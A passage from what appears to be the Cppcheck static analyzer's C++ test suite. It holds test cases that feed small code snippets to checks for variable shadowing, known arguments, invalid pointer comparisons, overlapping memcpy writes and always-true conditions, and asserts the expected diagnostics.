0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> 